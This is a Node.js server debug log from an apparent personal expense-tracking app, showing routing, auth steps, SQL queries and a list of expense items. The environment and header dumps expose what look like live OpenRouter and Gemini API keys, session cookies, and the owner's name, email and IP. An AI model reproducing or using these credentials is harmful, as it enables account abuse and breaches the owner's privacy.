  id: 1
}
2026-03-10T03:41:34.382Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-03-10T03:41:54.315Z server-connect:router Serving templateView /
2026-03-10T03:41:54.316Z server-connect:app Executing action step identify
2026-03-10T03:41:54.316Z server-connect:app options: { provider: 'security' }
2026-03-10T03:41:54.316Z server-connect:output identity: 1
2026-03-10T03:41:54.316Z server-connect:app Executing action step restrict
2026-03-10T03:41:54.316Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-10T03:41:54.316Z server-connect:output restrict: undefined
2026-03-10T03:41:54.316Z server-connect:app Executing action step restrict
2026-03-10T03:41:54.316Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-10T03:41:54.317Z server-connect:output restrict: undefined
2026-03-10T03:41:54.317Z server-connect:router Render template layouts/main
2026-03-10T03:41:54.317Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3Aj2CtATEBF5Rf8R70pZNBtQ%3D%3D.3uNhkVDixLCub6azOm8ZIs3ZFiuo12Guu%2Be2SU%2B2DzDtSbfx3%2FVft%2BZascIdXrRqTLc2KemGRJKzKa1x2iJpOSczjr2gr3BvW7WbMv6ARLR5qQhfYM4U1UpROYbJBLTeGRnEa7l1ES2AI8syHLgwr5K3XS3oCNaEkAIm0ugVZl8%3D.0Ja7HQI3FQAw%2Fd4r6MWQWJa8zmRGQ3t9KTMSeSIYpnM; your_r_git.sid=s%3AD_VVxiJjpx-TfR3n2ysLnbHtbhkBSevL.n879CM4YqFDNFmN6%2BSyy9KPSqdGotD3iyPfXUIJGYAI',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-11T03:41:30.636Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3Aj2CtATEBF5Rf8R70pZNBtQ%3D%3D.3uNhkVDixLCub6azOm8ZIs3ZFiuo12Guu%2Be2SU%2B2DzDtSbfx3%2FVft%2BZascIdXrRqTLc2KemGRJKzKa1x2iJpOSczjr2gr3BvW7WbMv6ARLR5qQhfYM4U1UpROYbJBLTeGRnEa7l1ES2AI8syHLgwr5K3XS3oCNaEkAIm0ugVZl8%3D.0Ja7HQI3FQAw%2Fd4r6MWQWJa8zmRGQ3t9KTMSeSIYpnM; your_r_git.sid=s%3AD_VVxiJjpx-TfR3n2ysLnbHtbhkBSevL.n879CM4YqFDNFmN6%2BSyy9KPSqdGotD3iyPfXUIJGYAI',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-03-10T03:41:58.979Z server-connect:router Serving templateView /todo
2026-03-10T03:41:58.979Z server-connect:app Executing action step identify
2026-03-10T03:41:58.979Z server-connect:app options: { provider: 'security' }
2026-03-10T03:41:58.979Z server-connect:output identity: 1
2026-03-10T03:41:58.980Z server-connect:app Executing action step restrict
2026-03-10T03:41:58.980Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-10T03:41:58.980Z server-connect:output restrict: undefined
2026-03-10T03:41:58.980Z server-connect:router Render template todo
2026-03-10T03:41:58.980Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/todo',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3Aj2CtATEBF5Rf8R70pZNBtQ%3D%3D.3uNhkVDixLCub6azOm8ZIs3ZFiuo12Guu%2Be2SU%2B2DzDtSbfx3%2FVft%2BZascIdXrRqTLc2KemGRJKzKa1x2iJpOSczjr2gr3BvW7WbMv6ARLR5qQhfYM4U1UpROYbJBLTeGRnEa7l1ES2AI8syHLgwr5K3XS3oCNaEkAIm0ugVZl8%3D.0Ja7HQI3FQAw%2Fd4r6MWQWJa8zmRGQ3t9KTMSeSIYpnM; your_r_git.sid=s%3AD_VVxiJjpx-TfR3n2ysLnbHtbhkBSevL.n879CM4YqFDNFmN6%2BSyy9KPSqdGotD3iyPfXUIJGYAI',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-11T03:41:30.636Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/todo',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/todo',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/todo',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3Aj2CtATEBF5Rf8R70pZNBtQ%3D%3D.3uNhkVDixLCub6azOm8ZIs3ZFiuo12Guu%2Be2SU%2B2DzDtSbfx3%2FVft%2BZascIdXrRqTLc2KemGRJKzKa1x2iJpOSczjr2gr3BvW7WbMv6ARLR5qQhfYM4U1UpROYbJBLTeGRnEa7l1ES2AI8syHLgwr5K3XS3oCNaEkAIm0ugVZl8%3D.0Ja7HQI3FQAw%2Fd4r6MWQWJa8zmRGQ3t9KTMSeSIYpnM; your_r_git.sid=s%3AD_VVxiJjpx-TfR3n2ysLnbHtbhkBSevL.n879CM4YqFDNFmN6%2BSyy9KPSqdGotD3iyPfXUIJGYAI',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-03-10T03:42:24.552Z server-connect:router Serving serverConnect /api/masters/get-items
2026-03-10T03:42:24.552Z server-connect:app Executing action step identify
2026-03-10T03:42:24.552Z server-connect:app options: { provider: 'security' }
2026-03-10T03:42:24.553Z server-connect:output identity: 1
2026-03-10T03:42:24.553Z server-connect:app Executing action step restrict
2026-03-10T03:42:24.553Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-10T03:42:24.553Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-03-10T03:42:24.553Z server-connect:output restrict: undefined
2026-03-10T03:42:24.553Z server-connect:app Executing action step select
2026-03-10T03:42:24.553Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-03-10T03:42:24.554Z server-connect:app Executing action step identify
2026-03-10T03:42:24.554Z server-connect:app options: { provider: 'security' }
2026-03-10T03:42:24.554Z server-connect:output identity: 1
2026-03-10T03:42:24.554Z server-connect:app Executing action step restrict
2026-03-10T03:42:24.554Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-10T03:42:24.555Z server-connect:output restrict: undefined
2026-03-10T03:42:24.555Z server-connect:app Executing action step single
2026-03-10T03:42:24.555Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-03-10T03:42:24.556Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-03-10T03:42:24.558Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
